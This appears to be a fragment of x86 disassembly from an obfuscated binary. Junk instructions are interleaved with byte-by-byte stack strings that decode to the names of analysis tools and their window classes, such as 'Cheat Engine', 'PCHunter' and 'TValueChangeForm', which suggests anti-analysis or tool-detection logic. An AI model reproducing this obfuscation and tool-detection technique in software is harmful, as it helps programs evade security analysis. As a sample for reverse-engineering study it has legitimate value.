mov word [esp + 0x846], si
mov esi, 0x20
mov word [esp + 0x848], si
mov esi, 0x30
clc
stc
mov word [esp + 0x84a], si
cmp ah, 0x5d
clc
mov word [esp + 0x84c], si
neg esi
rcl esi, 0x6d
mov esi, 0x20
test ax, sp
cmc
mov word [esp + 0x84e], si
mov esi, 0x36
mov word [esp + 0x850], si
bt esi, edi
test ah, 0x8c
mov esi, 0x35
test esp, esi
mov word [esp + 0x852], si
test ah, 8
and esi, 0x2c281ba3
bts si, cx
mov esi, 0x20
mov word [esp + 0x854], si
not si
mov esi, 0x30
clc
test dl, 0x7b
mov word [esp + 0x856], si
jmp 0x74114f
mov esi, 0x43
clc
mov word [esp + 0x922], si
sbb si, cx
mov esi, 0x20
mov word [esp + 0x924], si
mov esi, 0x30
test cx, sp
mov word [esp + 0x926], si
mov word [esp + 0x928], si
shr esi, 0xdd
mov esi, 0x20
mov word [esp + 0x92a], si
mov esi, 0x36
test sp, si
mov word [esp + 0x92c], si
jmp 0x697fac
mov esi, 0x30
mov word [esp + 0x93e], si
mov word [esp + 0x940], si
stc
clc
jmp 0x8a0e8d
mov word [esp + 0xaaa], si
bts si, di
mov esi, 0xa145e4d
shr esi, 0xd1
mov esi, 0x38
mov word [esp + 0xaac], si
mov esi, 0x20
test di, 0x5639
mov word [esp + 0xaae], si
btc esi, edx
mov esi, 0x3f
stc
mov word [esp + 0xab0], si
mov esi, 0x20
mov word [esp + 0xab2], si
mov esi, 0x3f
clc
cmc
mov word [esp + 0xab4], si
mov esi, 0x20
stc
clc
mov word [esp + 0xab6], si
mov esi, 0x3f
mov word [esp + 0xab8], si
bts si, cx
mov esi, 0x20
test ebp, 0x69707309
jmp 0x573ce5
mov word [esp + 0x8e0], si
xor si, si
adc si, 0x6ce4
add si, 0x3935
mov esi, 0x20
stc
mov word [esp + 0x8e2], si
mov esi, 0x36
mov word [esp + 0x8e4], si
btc esi, esp
mov esi, 0x37
cmc
mov word [esp + 0x8e6], si
cmp ax, 0xe20
mov esi, 0x20
mov word [esp + 0x8e8], si
ror si, 0xd9
mov esi, 0x30
jmp 0x6157a0
call fcn.00474d50
mov eax, dword [0x520628]
rcr cl, 0x83
mov cl, 0x59
xor eax, esp
mov dword [esp + 0x1420], eax
push ebx
push esi
or dl, 0x4f
push edi
xor ah, ch
cmp ebp, 0x73c527b5
mov eax, dword [0x520628]
xor eax, esp
adc si, ax
push eax
dec ah
lea eax, [esp + 0x1438]
mov dword fs:[0], eax
xor si, 0x4c1b
rcr al, 0x46
sub ebx, ebx
shl al, cl
mov cl, 0x6f
adc esi, 0x7f3827cb
rol esi, 0xe9
mov al, 0x6a
mov byte [esp + 0x38f], al
mov byte [esp + 0x4d6], al
rcl dl, 0xf4
ror dl, 0xdd
mov byte [esp + 0x496], al
mov al, 0x65
mov byte [esp + 0x38c], 0x5f
mov byte [esp + 0x38d], cl
add si, 0x365a
movsx esi, si
mov byte [esp + 0x38e], 0x62
mov byte [esp + 0x390], bl
add dl, 0x58
clc
mov byte [esp + 0x4d4], cl
mov byte [esp + 0x4d5], 0x62
mov byte [esp + 0x4d7], 0x5f
mov byte [esp + 0x4d8], 0x66
shl esi, 5
mov byte [esp + 0x4d9], cl
test bp, cx
mov dl, dl
mov byte [esp + 0x4da], 0x72
sbb si, 0x1519
mov byte [esp + 0x4db], 0x6d
mov byte [esp + 0x4dc], bl
mov byte [esp + 0x494], cl
rcr dl, cl
rcl dl, cl
neg si
mov byte [esp + 0x495], 0x62
mov byte [esp + 0x497], 0x5f
test dx, 0x2da4
mov byte [esp + 0x498], 0x61
mov byte [esp + 0x499], 0x70
btc esi, edx
not esi
mov byte [esp + 0x49a], 0x70
cmovns esi, ecx
ror dl, 0xb0
mov byte [esp + 0x49b], bl
cmc
rcl dl, cl
mov byte [esp + 0x44c], 0x57
rcl dl, 0x78
sub dl, 0x86
mov byte [esp + 0x44d], 0x69
cmp cx, dx
mov byte [esp + 0x44e], 0x6e
mov byte [esp + 0x44f], 0x64
mov byte [esp + 0x450], cl
shr dl, 0xd8
mov byte [esp + 0x451], 0x77
rcl si, 0xe3
mov byte [esp + 0x452], bl
cmp ecx, esi
sub esi, ecx
mov byte [esp + 0x414], 0x43
mov dl, 0xf
mov byte [esp + 0x415], 0x68
sub esi, esi
bts si, di
mov byte [esp + 0x416], al
mov byte [esp + 0x417], 0x61
xor dl, 0xc
mov byte [esp + 0x418], 0x74
bts esi, ecx
shrd si, bx, 0xd0
mov byte [esp + 0x419], 0x20
and si, cx
dec si
mov byte [esp + 0x41a], 0x45
btc si, 0x4b
bts esi, ebp
mov byte [esp + 0x41b], 0x6e
add esi, 0x626b3c84
shl si, 0xe6
cmp al, dh
mov byte [esp + 0x41c], 0x67
sbb si, bx
mov byte [esp + 0x41d], 0x69
mov byte [esp + 0x41e], 0x6e
rcl dl, cl
mov byte [esp + 0x41f], al
jmp 0x878cdb
mov word [esp + 0x828], si
mov esi, 0x20
mov word [esp + 0x82a], si
rcr si, 0x16
xadd si, si
sal esi, 0x23
mov esi, 0x36
stc
cmc
cmp ebp, ebx
mov word [esp + 0x82c], si
cmc
btr esi, 0xa
mov esi, 0x43
mov word [esp + 0x82e], si
sbb esi, esi
mov esi, 0x20
cmp edx, 0x5c5b2707
mov word [esp + 0x830], si
cmc
mov esi, 0x30
cmp cl, 0xea
stc
cmc
mov word [esp + 0x832], si
mov word [esp + 0x834], si
xchg si, si
xor si, bp
mov esi, 0x20
mov word [esp + 0x836], si
cmp sp, 0x63a0
and si, 0x16a5
mov esi, 0x36
cmc
clc
mov word [esp + 0x838], si
xadd si, si
bt esi, 0x79
mov esi, 0x39
cmc
mov word [esp + 0x83a], si
mov esi, 0x20
cmp sp, 0x4e09
jmp 0x88ef15
mov word [esp + 0xa46], si
shl esi, 0xe8
mov esi, 0x20
test esi, ebp
cmp sp, 0x17b7
mov word [esp + 0xa48], si
movzx esi, di
mov esi, 0x34
test sp, si
cmc
mov word [esp + 0xa4a], si
shrd si, dx, 0xc0
inc esi
bswap si
mov esi, 0x42
cmp dx, dx
stc
mov word [esp + 0xa4c], si
shl si, 0x19
mov esi, 0x20
cmp di, 0x566d
cmp ax, bp
test esi, ecx
mov word [esp + 0xa4e], si
mov esi, 0x36
clc
mov word [esp + 0xa50], si
bswap esi
shr si, 0xfd
xor esi, edx
mov esi, 0x39
jmp 0x70e444
mov byte [esp + 0x35d], 0x32
mov byte [esp + 0x35e], 0x37
xadd si, si
stc
sub esi, 0x1e195c42
mov byte [esp + 0x35f], 0x30
mov byte [esp + 0x360], 0x2e
dec esi
mov byte [esp + 0x361], 0x44
mov byte [esp + 0x362], 0x4c
not si
test ebp, eax
mov byte [esp + 0x363], 0x4c
xor esi, 0x1723e0a
mov byte [esp + 0x364], bl
mov byte [esp + 0x34c], 0x48
cmovne esi, ebp
rcr esi, 0xc4
mov byte [esp + 0x34d], al
movsx esi, di
and si, dx
mov byte [esp + 0x34e], 0x6c
cmova esi, ebp
mov byte [esp + 0x34f], 0x70
not si
test ebx, esp
mov byte [esp + 0x350], al
shr si, 0x3f
rcl si, 0x6f
mov byte [esp + 0x351], 0x72
cmp esp, ebx
or esi, 0x44104e43
mov byte [esp + 0x352], 0x2e
sal si, 0x2e
mov byte [esp + 0x353], 0x64
rol esi, 0x41
cmc
mov byte [esp + 0x354], 0x6c
btr si, si
btc esi, esi
mov byte [esp + 0x355], 0x6c
bts si, bx
mov byte [esp + 0x356], bl
add esi, 0x4b4a5b86
mov byte [esp + 0x2e4], dl
btc si, 0xb9
mov byte [esp + 0x2e5], dl
stc
cmp si, 0x4549
mov byte [esp + 0x2e6], 0x2e
sub si, 0x6fc6
sar si, 0x5d
mov byte [esp + 0x2e7], 0x6d
mov byte [esp + 0x2e8], 0x70
mov byte [esp + 0x2e9], 0x33
bt esi, 0xd1
mov byte [esp + 0x2ea], bl
clc
mov byte [esp + 0x314], 0x70
and si, 0xae0
cmp di, bx
mov byte [esp + 0x315], dl
jmp 0x8162b3
mov byte [esp + 0x2d0], 0x63
jmp loc.00417985
mov byte [esp + 0x348], 0x25
stc
test esi, eax
mov byte [esp + 0x349], dl
jmp 0x749c4e
mov byte [esp + 0x420], bl
cmc
mov byte [esp + 0x63c], 0x54
test edi, 0x17f521b6
and dl, cl
sub dl, 4
mov byte [esp + 0x63d], 0x56
rcl dl, cl
mov byte [esp + 0x63e], 0x61
movzx esi, bp
mov byte [esp + 0x63f], 0x6c
sal si, 0xac
add esi, 0x8bb1990
cmc
mov byte [esp + 0x640], 0x75
shrd si, si, 0x5f
mov byte [esp + 0x641], al
bsf esi, edx
setns dl
mov byte [esp + 0x642], 0x43
dec dl
rcl dl, 0xc8
mov byte [esp + 0x643], 0x68
mov si, dx
mov byte [esp + 0x644], 0x61
shr dl, 0xfe
cmp esp, 0x2e132308
mov byte [esp + 0x645], 0x6e
adc dl, dl
inc dl
mov byte [esp + 0x646], 0x67
or si, 0x6d13
mov byte [esp + 0x647], al
sub dl, bl
mov byte [esp + 0x648], 0x46
and si, si
shl esi, 0x73
mov byte [esp + 0x649], cl
adc dl, 0xea
mov byte [esp + 0x64a], 0x72
rol dl, cl
mov byte [esp + 0x64b], 0x6d
mov byte [esp + 0x64c], bl
add si, 0x431f
mov esi, 0x550c58c4
mov byte [esp + 0x4f8], 0x72
cmp ah, 0x59
ror si, 0xd4
bsf esi, ebp
mov byte [esp + 0x4f9], 0x61
bt si, bp
shr dl, cl
mov byte [esp + 0x4fa], 0x70
sub dl, 4
cmc
bt si, cx
mov byte [esp + 0x4fb], 0x68
mov byte [esp + 0x4fc], 0x20
xor si, di
mov byte [esp + 0x4fd], 0x2d
mov byte [esp + 0x4fe], 0x20
or dl, 0x30
mov byte [esp + 0x4ff], 0x5b
sal dl, cl
mov byte [esp + 0x500], bl
neg dl
sub esi, esi
mov byte [esp + 0x444], 0x2e
neg dl
mov byte [esp + 0x445], 0x53
adc dl, 0x34
mov dl, 0xed
mov byte [esp + 0x446], 0x50
rol dl, 0x9f
mov byte [esp + 0x447], 0x4b
mov byte [esp + 0x448], 0x58
neg dl
mov byte [esp + 0x449], 0x5d
mov byte [esp + 0x44a], bl
sub dl, 0x47
mov byte [esp + 0x4b0], 0x5b
sar si, 0x57
mov byte [esp + 0x4b1], cl
sar dl, 0x91
clc
mov dl, 0x73
bts si, bp
mov byte [esp + 0x4b2], 0x6e
sbb si, si
mov byte [esp + 0x4b3], 0x68
mov byte [esp + 0x4b4], cl
mov byte [esp + 0x4b5], cl
mov byte [esp + 0x4b6], 0x6b
mov byte [esp + 0x4b7], 0x2e
shl si, 0x38
mov byte [esp + 0x4b8], bl
cmovle si, bx
test ecx, 0x6b17233a
btc si, di
mov byte [esp + 0x3dc], 0x2e
mov byte [esp + 0x3dd], dl
mov byte [esp + 0x3de], al
mov byte [esp + 0x3df], 0x72
bswap si
add esi, 0x35853fef
mov byte [esp + 0x3e0], 0x5d
xor esi, esp
shrd esi, eax, 0x2d
sbb esi, edx
mov byte [esp + 0x3e1], bl
xchg si, si
or esi, 0x54cd2b3c
mov byte [esp + 0x33c], 0x23
mov byte [esp + 0x33d], 0x33
sub si, sp
xor si, 0x6331
mov byte [esp + 0x33e], 0x32
add si, 0x1325
mov byte [esp + 0x33f], 0x37
mov byte [esp + 0x340], 0x37
cmovb si, dx
bsf esi, edx
mov byte [esp + 0x341], 0x30
or si, bp
clc
mov byte [esp + 0x342], bl
mov byte [esp + 0x394], 0x43
mov byte [esp + 0x395], cl
mov byte [esp + 0x396], 0x6d
mov byte [esp + 0x397], 0x62
btr si, cx
shl si, 0xe9
bt esi, 0x36
mov byte [esp + 0x398], cl
btr si, bx
mov byte [esp + 0x399], 0x4c
mov byte [esp + 0x39a], 0x42
sbb si, sp
rcr si, 0x34
mov byte [esp + 0x39b], cl
shl si, 0xfc
mov byte [esp + 0x39c], 0x78
bt si, 0x85
mov byte [esp + 0x39d], bl
bt esi, ebp
xor esi, 0x41136f34
mov byte [esp + 0x4bc], 0x70
sar si, 0xac
mov byte [esp + 0x4bd], 0x63
mov byte [esp + 0x4be], 0x68
sub esi, 0x454a5c07
bsr si, di
and esi, eax
mov byte [esp + 0x4bf], 0x75
mov byte [esp + 0x4c0], 0x6e
mov byte [esp + 0x4c1], 0x74
mov byte [esp + 0x4c2], al
bswap esi
mov si, dx
mov byte [esp + 0x4c3], 0x72
or esi, 0x54ce1415
movzx esi, bp
mov byte [esp + 0x4c4], bl
cmp bl, 0x3d
shl si, 0xaa
mov byte [esp + 0x4ec], 0x50
mov byte [esp + 0x4ed], 0x43
mov byte [esp + 0x4ee], 0x48
neg si
sar si, 0x93
and si, 0x7f69
mov byte [esp + 0x4ef], 0x75
sal si, 0xd2
adc si, 0x7b4c
mov byte [esp + 0x4f0], 0x6e
btc si, 0x66
mov esi, edx
mov byte [esp + 0x4f1], 0x74
cmovge si, si
bts esi, esi
stc
mov byte [esp + 0x4f2], al
bts esi, ecx
mov byte [esp + 0x4f3], 0x72
mov byte [esp + 0x4f4], bl
btr si, cx
shrd esi, ebp, 0xed
mov byte [esp + 0x40c], 0x54
sbb esi, edi
mov byte [esp + 0x40d], al
mov byte [esp + 0x40e], dl
neg esi
and esi, 0x642355f6
rcr esi, 0x7f
mov byte [esp + 0x40f], 0x6c
bsf esi, ecx
sbb esi, esp
and si, si
mov byte [esp + 0x410], 0x61
inc esi
bt si, 0x38
mov byte [esp + 0x411], bl
jmp 0x6acc0a
mov esi, 0x20
mov byte [esp + 0x604], 0x74
clc
test ah, 0x8b
test edi, ebx
mov byte [esp + 0x605], 0x72
cmc
mov byte [esp + 0x606], 0x61
jmp 0x742ae9
mov word [esp + 0x7e2], si
dec esi
jmp 0x5792c0
mov word [esp + 0x8ce], si
shl si, 0xf0
mov esi, 0x20
test dl, 0xe7
jmp 0x695519
mov word [esp + 0x83c], si
jmp 0x82e28b
xor esi, esi
mov word [esp + 0x942], si
sub esi, 0x12ca07bd
mov esi, 0x38
test bx, bp
mov word [esp + 0x7dc], si
mov esi, 0x33
mov word [esp + 0x7de], si
shl si, 0xf1
mov esi, 0x20
test bp, di
stc
mov word [esp + 0x7e0], si
mov esi, 0x46
jmp 0x87c936
mov byte [esp + 0x6ab], al
mov byte [esp + 0x6b1], al
cmc
mov byte [esp + 0x6b4], al
clc
jmp 0x61bc5e